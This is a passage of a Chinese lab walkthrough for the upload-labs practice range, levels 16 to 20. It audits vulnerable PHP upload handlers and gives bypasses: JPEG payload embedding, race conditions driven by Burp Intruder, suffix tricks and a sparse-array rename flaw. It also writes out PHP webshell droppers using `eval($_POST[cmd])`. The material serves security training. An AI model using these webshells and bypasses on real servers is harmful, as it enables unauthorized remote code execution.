$outStreamTmp, TRUE);if($extraBytes !== 0) {while((!$dis->eof())) {if($dis->readByte() === 0xFF) {if($dis->readByte !== 0x00) {break;}}}$stopPos = $dis->seek() - 2;$imageStreamSize = $stopPos - $startPos;$outStream = substr($outStream, 0, $startPos) . $miniPayload . substr(str_repeat("\0",$nullbytePayloadSize).substr($outStream, $startPos, $imageStreamSize),0,$nullbytePayloadSize+$imageStreamSize-$extraBytes) . substr($outStream, $stopPos);} elseif($correctImage) {$outStream = $outStreamTmp;} else {break;}if(checkImage('payload_'.$argv[1], $outStream)) {die('Success!');} else {break;}}}}unlink('payload_'.$argv[1]);die('Something\'s wrong');function checkImage($filename, $data, $unlink = FALSE) {global $correctImage;file_put_contents($filename, $data);$correctImage = TRUE;imagecreatefromjpeg($filename);if($unlink)unlink($filename);return $correctImage;}function custom_error_handler($errno, $errstr, $errfile, $errline) {global $extraBytes, $correctImage;$correctImage = FALSE;if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {if(isset($m[1])) {$extraBytes = (int)$m[1];}}}class DataInputStream {private $binData;private $order;private $size;public function __construct($filename, $order = false, $fromString = false) {$this->binData = '';$this->order = $order;if(!$fromString) {if(!file_exists($filename) || !is_file($filename))die('File not exists ['.$filename.']');$this->binData = file_get_contents($filename);} else {$this->binData = $filename;}$this->size = strlen($this->binData);}public function seek() {return ($this->size - strlen($this->binData));}public function skip($skip) {$this->binData = substr($this->binData, $skip);}public function readByte() {if($this->eof()) {die('End Of File');}$byte = substr($this->binData, 0, 1);$this->binData = substr($this->binData, 1);return ord($byte);}public function readShort() {if(strlen($this->binData) < 2) {die('End Of File');}$short = substr($this->binData, 0, 2);$this->binData = substr($this->binData, 2);if($this->order) {$short = (ord($short[1]) << 8) + ord($short[0]);} else {$short = (ord($short[0]) << 8) + ord($short[1]);}return $short;}public function eof() {return !$this->binData||(strlen($this->binData) === 0);}}?>
但是这个脚本运行之前要先准备一张1.jpg图片,然后运行脚本
然后就跟png
的处理方式一样了
pass-17
代码审计
这一关是一个逻辑漏洞,由此就会产生竞争型漏洞,来看下面的代码
$is_upload = false;$msg = null;if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_name = $_FILES['upload_file']['name'];$temp_file = $_FILES['upload_file']['tmp_name'];$file_ext = substr($file_name,strrpos($file_name,".")+1);$upload_file = UPLOAD_PATH . '/' . $file_name;if(move_uploaded_file($temp_file, $upload_file)){if(in_array($file_ext,$ext_arr)){$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;rename($upload_file, $img_path);$is_upload = true;}else{$msg = "只允许上传.jpg|.png|.gif类型文件!";unlink($upload_file);}}else{$msg = '上传出错!';}}
看第二个if
判断里面,漏洞就在这里,它先判断文件是否在白名单里,如果不在就不允许上传并删除,反之允许上传。
在它判断出不允许上传到删除这个时间间隙里,我们可以竞争。
即,在它判断并且还没有改名的极短时间内,我们可以访问到这个文件,如果这个文件的php
代码是在当前目录的上一级目录生成我们的实际payload
,那么即使它判断完毕,把我们先上传的文件删除也没关系,因为我们已经生成一个实际的payload
在上一级目录了,而这个目录它是删不了的,这样我们就成功上传webshell
了。
文件上传
1. 准备php文件
<?php fputs(fopen('../webshell.php','w'),'<?php eval($_POST[cmd]);)?>');
2. 上传
人跟程序竞争基本搞不了,所以使用Burp
抓包。
再靶场上传之后,使用Burp
抓包,然后发给Intruder
模块,然后不停的发包,然后再浏览器不停的访问,具体操作如下
-
抓包改包
-
验证
pass-18
代码审计
//index.php$is_upload = false;$msg = null;if (isset($_POST['submit'])){require_once("./myupload.php");$imgFileName =time();$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);$status_code = $u->upload(UPLOAD_PATH);switch ($status_code) {case 1:$is_upload = true;$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;break;case 2:$msg = '文件已经被上传,但没有重命名。';break; case -1:$msg = '这个文件不能上传到服务器的临时文件存储目录。';break; case -2:$msg = '上传失败,上传目录不可写。';break; case -3:$msg = '上传失败,无法上传该类型文件。';break; case -4:$msg = '上传失败,上传的文件过大。';break; case -5:$msg = '上传失败,服务器已经存在相同名称文件。';break; case -6:$msg = '文件无法上传,文件不能复制到目标目录。';break; default:$msg = '未知错误!';break;}}//myupload.phpclass MyUpload{.................. var $cls_arr_ext_accepted = array(".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",".html", ".xml", ".tiff", ".jpeg", ".png" );.................. /** upload()**** Method to upload the file.** This is the only method to call outside the class.** @para String name of directory we upload to** @returns void**/function upload( $dir ){$ret = $this->isUploadedFile();if( $ret != 1 ){return $this->resultUpload( $ret );}$ret = $this->setDir( $dir );if( $ret != 1 ){return $this->resultUpload( $ret );}$ret = $this->checkExtension();if( $ret != 1 ){return $this->resultUpload( $ret );}$ret = $this->checkSize();if( $ret != 1 ){return $this->resultUpload( $ret ); }// if flag to check if the file exists is set to 1if( $this->cls_file_exists == 1 ){$ret = $this->checkFileExists();if( $ret != 1 ){return $this->resultUpload( $ret ); }}// if we are here, we are ready to move the file to destination$ret = $this->move();if( $ret != 1 ){return $this->resultUpload( $ret ); }// check if we need to rename the fileif( $this->cls_rename_file == 1 ){$ret = $this->renameFile();if( $ret != 1 ){return $this->resultUpload( $ret ); }}// if we are here, everything worked as planned :)return $this->resultUpload( "SUCCESS" );}.................. };
这个代码看起来很多,但是对我们来说,重点在这里
$ret = $this->move();if( $ret != 1 ){return $this->resultUpload( $ret ); }// check if we need to rename the fileif( $this->cls_rename_file == 1 ){$ret = $this->renameFile();if( $ret != 1 ){return $this->resultUpload( $ret ); }}
这里就表明了,它的处理逻辑还是先上传,再重命名,这样又会出现一个时间间隙,我们又可以竞争。
只不过有了一个白名单的限制,我们不能上传.php
文件了不过可以上传图片码,但是图片码也不能解析,还需要一个文件包含。
文件上传
1. 准备图片码
<?php fputs(fopen('../webshell.php','w'),'<?php eval($_POST["cmd"]);');或<?php file_put_contents('../wehshell.php','<?php phpinfo();');文件保存为:democompete.php然后使用copy命令,构造图片码并重命名为1.jpg。然后上传。
然后在浏览器访问以下路径
http://10.128.133.182/upload-labs-env/WWW/include.php?file=upload/1.jpg
2. Burp抓包
因为时间间隙太短,最好使用Burp
,一边不断发包,一边配合python
脚本,不断访问指定URL
。这样成功率更高。
抓包,然后用Intruder
模块持续发包
运行python
脚本,持续访问文件
3. 在文件夹里查看
pass-19
代码审计
$is_upload = false;$msg = null;if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");$file_name = $_POST['save_name'];$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);if(!in_array($file_ext,$deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' .$file_name;if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true;}else{$msg = '上传出错!';}}else{$msg = '禁止保存为该类型文件!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}}
这里又是一个黑名单拦截,但是我们观察它的黑名单,并没有大写限制,所以一种方法是把php
的后写成大小写混合的样式,比如.pHP
;
还有一种是利用php
和windows
文件系统的特性来做文章,windows
就是会把.、空格还有::$DATA自动去掉
,而php
是因为move_upload_file()
函数,
这个函数会自动去掉文件末尾的/.
。所以,在上传的时候,我们使用Burp
抓包,然后修改一下文件后缀,那就可以成功。
文件上传
1. 大小写
准备这样一个php文件
然后就上传,之后查看一下就可以验证了
上传
下面这张是上传之后的样子,有那个破碎的图片样式,就表示成功了
然后在文件夹查看一下
2. 添加后缀
直接上传一个php
文件,
然后使用Burp
抓包,把后缀改一下再放包,然后文件夹验证一下
先加一个.
再加一个/
可以看到都成功了
pass-20
代码审计
$is_upload = false;$msg = null;if(!empty($_FILES['upload_file'])){//检查MIME$allow_type = array('image/jpeg','image/png','image/gif');if(!in_array($_FILES['upload_file']['type'],$allow_type)){$msg = "禁止上传该类型文件!";}else{//检查文件名$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];if (!is_array($file)) {$file = explode('.', strtolower($file));}$ext = end($file);$allow_suffix = array('jpg','png','gif');if (!in_array($ext, $allow_suffix)) {$msg = "禁止上传该后缀文件!";}else{$file_name = reset($file) . '.' . $file[count($file) - 1];$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' .$file_name;if (move_uploaded_file($temp_file, $img_path)) {$msg = "文件上传成功!";$is_upload = true;} else {$msg = "文件上传失败!";}}}}else{$msg = "请选择要上传的文件!";}
这一关有一点绕,但是呢也还是比较简单。
它的逻辑是这样的:
首先是一个前端检测,
$allow_type = array('image/jpeg','image/png','image/gif');if(!in_array($_FILES['upload_file']['type'],$allow_type)){$msg = "禁止上传该类型文件!";}
检测通过了就判断我们传入的是不是一个数组,如果不是,那就把文件名以.
分割,进行数组化,
if (!is_array($file)) {$file = explode('.', strtolower($file));}
然后取数组的最后一个元素,也就是我们文件的后缀名,进行一个白名单过滤,
$ext = end($file);$allow_suffix = array('jpg','png','gif');if (!in_array($ext, $allow_suffix)) {$msg = "禁止上传该后缀文件!";
检测通过了,再把文件重命名回来,
$file_name = reset($file) . '.' . $file[count($file) - 1];
问题就出在这里,这个count
函数,它在计算的时候如果遇到的数组是稀疏的(某些索引未定义),count()
只会计算已定义的索引,也就是实际有值的索引。
正常来说,我们传入的文件是abc.jpg
,经过数组化之后,0
下标是abc
,1
下标是jpg
,它计算出2
,然后进行一个count($file) - 1
那么就会有$file[1]
,也就是jpg
,然后用reset
函数取数组第一个元素,也就是abc
,这样就正好再次组成文件名abc.jpg
。然而,如果在传入文件的时候,我们通过Burp
抓包,构建一个稀疏数组,
比如这样的
["web.php",,"jpg"]
那么在计算的时候,得到的结果还是2
,然后又减去1
,这样就有$file[1]
,而这里的1
下标为空(是什么都没有。而不是null
),这样重命名,那么最后文件的名称就是web.php.
,
而这个.
又可以利用windows
系统的文件特性去掉,这样,我们最终就可以得到web.php
文件,也就能成功实现上传webshell
的目的。
文件上传
1. 上传
2. 抓包改包
这里1
的位置要改为图示的内容,因为这里是一个前端绕过,不改的话不行,具体见pass-02
。
2
的位置改为图示的数字,下标为0
3、4
部分是按照结构复制2
部分得到的,其中3
的下标一定不要是1
,不然就没有意义了,
而4
的位置呢就根据白名单写,写一个就好了
然后Send就可以了
3. 验证
这里可以看到info.php
已经成功上传了
相关文章:

uploadlabs通关思路
目录 靶场准备 复现 pass-01 代码审计 执行逻辑 文件上传 方法一:直接修改或删除js脚本 方法二:修改文件后缀 pass-02 代码审计 文件上传 1. 思路 2. 实操 pass-03 代码审计 过程: 文件上传 pass-04 代码审计 文件上传 p…...

迷你世界脚本自定义UI接口:Customui
自定义UI接口:Customui 彼得兔 更新时间: 2024-11-07 15:12:42 具体函数名及描述如下:(除前两个,其余的目前只能在UI编辑器内部的脚本使用) 序号 函数名 函数描述 1 openUIView(...) 打开一个UI界面(注意…...

【情境领导者】评估情境——准备度水平
本系列是看了《情境领导者》一书,结合自己工作的实践经验所做的学习笔记。 在文章【情境领导者】评估情境——什么是准备度-CSDN博客我们提到准备度是由能力和意愿两部分组成的。 准备度水平 而我们要怎么去评估准备度呢?准备度水平是指人们在每项工作中…...

2025 ubuntu24.04系统安装docker
1.查看ubuntu版本(Ubuntu 24.04 LTS) rootmaster:~# cat /etc/os-release PRETTY_NAME"Ubuntu 24.04 LTS" NAME"Ubuntu" VERSION_ID"24.04" VERSION"24.04 LTS (Noble Numbat)" VERSION_CODENAMEnoble IDubun…...

Android中AIDL和HIDL的区别
在Android中,AIDL(Android Interface Definition Language) 和 HIDL(HAL Interface Definition Language) 是两种用于定义跨进程通信接口的语言。AIDL 是 Android 系统最早支持的 IPC(进程间通信࿰…...

通过数据库网格架构构建现代分布式数据系统
在当今微服务驱动的世界中,企业在跨分布式系统管理数据方面面临着越来越多的挑战。数据库网格架构已成为应对这些挑战的强大解决方案,它提供了一种与现代应用架构相匹配的分散式数据管理方法。本文将探讨数据库网格架构的工作原理,以及如何使…...

Python基于Django的医用耗材网上申领系统【附源码、文档说明】
博主介绍:✌Java老徐、7年大厂程序员经历。全网粉丝12w、csdn博客专家、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ 🍅文末获取源码联系🍅 👇🏻 精彩专栏推荐订阅👇&…...

Python爬虫实战:一键采集电商数据,掌握市场动态!
电商数据分析是个香饽饽,可市面上的数据采集工具要不贵得吓人,要不就是各种广告弹窗。干脆自己动手写个爬虫,想抓啥抓啥,还能学点技术。今天咱聊聊怎么用Python写个简单的电商数据爬虫。 打好基础:搞定请求头 别看爬虫…...

STM32之I2C硬件外设
注意:硬件I2C的引脚是固定的 SDA和SCL都是复用到外部引脚。 SDA发送时数据寄存器的数据在数据移位寄存器空闲的状态下进入数据移位寄存器,此时会置状态寄存器的TXE为1,表示发送寄存器为空,然后往数据控制寄存器中一位一位的移送数…...

【C++】中的赋值初始化和直接初始化的区别
在C中,赋值初始化(也称为拷贝初始化)和直接初始化(也称为构造初始化)虽然常常产生相同的结果,但在某些情况下它们有不同的含义和行为。 赋值初始化(Copy Initialization) 使用等号…...

Python ❀ Unix时间戳转日期或日期转时间戳工具分享
设计一款Unix时间戳和日期转换工具,其代码如下: from datetime import datetimeclass Change_Date_Time(object):def __init__(self, date_strNone, date_numNone):self.date_str date_strself.date_num date_num# 转时间戳def datetime2timestamp(s…...

本地部署Dify及避坑指南
Dify作为开源的大模型应用开发平台,支持本地私有化部署,既能保障数据安全,又能实现灵活定制。但对于新手而言,从环境配置到服务启动可能面临诸多挑战。本文结合实战经验,手把手教你从零部署Dify,并总结高频…...

大白话CSS 优先级计算规则的详细推导与示例
大白话CSS 优先级计算规则的详细推导与示例 答题思路 引入概念:先通俗地解释什么是 CSS 优先级,让读者明白为什么要有优先级规则,即当多个 CSS 样式规则作用于同一个元素时,需要确定哪个规则起作用。介绍优先级的分类࿱…...

OpenCV计算摄影学(19)非真实感渲染(Non-Photorealistic Rendering, NPR)
操作系统:ubuntu22.04 OpenCV版本:OpenCV4.9 IDE:Visual Studio Code 编程语言:C11 算法描述 非真实感渲染(Non-Photorealistic Rendering, NPR)是一种计算机图形学技术,旨在生成具有艺术风格或其他非现实…...

深度学习(斋藤)学习笔记(五)-反向传播2
上一篇关于反向传播的代码仅支持单变量的梯度计算,下面我们将扩展代码使其支持多个输入/输出。增加了对多输入函数(如 Add),以实现的计算。 1.关于前向传播可变长参数的改进-修改Function类 修改方法: Function用于对…...

数据库基础练习1
目录 1.创建数据库和表 2.插入数据 创建一个数据库,在数据库种创建一张叫heros的表,在表中插入几个四大名著的角色: 1.创建数据库和表 #创建表 CREATE DATABASE db_test;#查看创建的数据库 show databases; #使用db_test数据库 USE db_te…...

TypeError: Cannot create property ‘xxx‘ on string ‘xxx‘
🤍 前端开发工程师、技术日更博主、已过CET6 🍨 阿珊和她的猫_CSDN博客专家、23年度博客之星前端领域TOP1 🕠 牛客高级专题作者、打造专栏《前端面试必备》 、《2024面试高频手撕题》、《前端求职突破计划》 🍚 蓝桥云课签约作者、…...

极狐GitLab 17.9 正式发布,40+ DevSecOps 重点功能解读【三】
GitLab 是一个全球知名的一体化 DevOps 平台,很多人都通过私有化部署 GitLab 来进行源代码托管。极狐GitLab 是 GitLab 在中国的发行版,专门为中国程序员服务。可以一键式部署极狐GitLab。 学习极狐GitLab 的相关资料: 极狐GitLab 官网极狐…...

lsblk命令linux查询设备信息
lsblk命令是Linux中用于列出所有可用块设备信息的工具,它能够显示设备之间的依赖关系,但不会列出RAM盘的信息。块设备包括硬盘、闪存盘、CD-ROM等。lsblk命令包含在util-linux包中,该命令的常用参数包括: -d:仅列出磁盘…...

【智能体架构:Agent】LangChain智能体类型ReAct、Self-ASK的区别
1. 什么是智能体 将大语言模型作为一个推理引擎。给定一个任务, 智能体自动生成完成任务所需步骤, 执行相应动作(例如选择并调用工具), 直到任务完成。 2. 先定义工具:Tools 可以是一个函数或三方 API也…...

鸿蒙开发:弹性布局Flex
前言 代码案例基于Api13。 正在开发一个搜索组件,其中一个功能是针对历史搜索的内容进行展示,由于搜索的内容长度不一,需要进行流式布局展示,效果如下: 以上的效果,相信大家在很多的应用里或多或少都见到过…...

【DeepSeek】5分钟快速实现本地化部署教程
一、快捷部署 (1)下载ds大模型安装助手,下载后直接点击快速安装即可。 https://file-cdn-deepseek.fanqiesoft.cn/deepseek/deepseek_28348_st.exe (2)打开软件,点击立即激活 (3)选…...

易基因特异性R-loop检测整体研究方案
大家好,这里是专注表观组学十余年,领跑多组学科研服务的易基因。 01.技术简述 R-loop是由DNA:RNA 杂交体和被置换的单链DNA组成的三链核酸结构,广泛参与基因转录、表观遗传调控及DNA修复等关键生物学过程。异常的R-loop积累会导致基因组不稳…...

虚拟系统配置案例
安全策略要求: 1、只存在一个公网IP地址,公司内网所有部门都需要借用同一个接口访问外网 2、财务部禁止访问Internet,研发部门只有部分员工可以访问Internet,行政部门全部可以访问互联网 3、为三个部门的虚拟系统分配相同的资源类…...

C语言【进阶篇】之结构体 —— 从基础声明到复杂应用的进阶之路
目录 🚀前言✍️结构体类型的声明💯结构体定义💯结构的特殊声明 🦜结构的自引用💻结构体内存对齐💯对齐规则💯为什么存在内存对齐💯修改默认对齐数 🐍结构体传参…...

Python-列表和元组
列表 列表是什么, 元组是什么 编程中, 经常需要使用变量, 来保存/表示数据. 如果代码中需要表示的数据个数比较少, 我们直接创建多个变量即可. 但是有的时候, 代码中需要表示的数据特别多, 甚至也不知道要表示多少个数据. 这个时候, 就需要用到列表. 列表是一种让程序猿在代…...

PyTorch 中的混合精度训练方法,从 autocast 到 GradScalar
PyTorch 的混合精度训练主要由两个方法实现:amp.autocast 和 amp.GradScalar。在这两个工具的帮助下,可以实现以 torch.float16 的混合精度训练。当然,这两个方法都是模块化并且通常都会一起调用,但并不一定总是需要一起使用。 参…...

分享能在线运行C语言的网站
https://www.onlinegdb.com/# 我用vscode运行c语言总是报错,后面找到这个网站,可以在线调试和保存代码。 如下图,程序的效果是给变量x,y,z赋值,并打印出来。代码输入以后,右上角选择C语言&…...

AI-Deepseek + PPT
01--Deepseek提问 首先去Deepseek问一个问题: Deepseek的回答: 在汽车CAN总线通信中,DBC文件里的信号处理(如初始值、系数、偏移)主要是为了 将原始二进制数据转换为实际物理值,确保不同电子控制单元&…...

MacOS Big Sur 11 新机安装brew wget python3.12 exo
MacOS Big Sur 11,算是很老的系统了,所以装起来有点费劲。 首先安装brew 按照官网的方法,直接执行下面语句即可安装: export HOMEBREW_BREW_GIT_REMOTE"https://githubfast.com" # put your Git mirror of Homebrew/brew here …...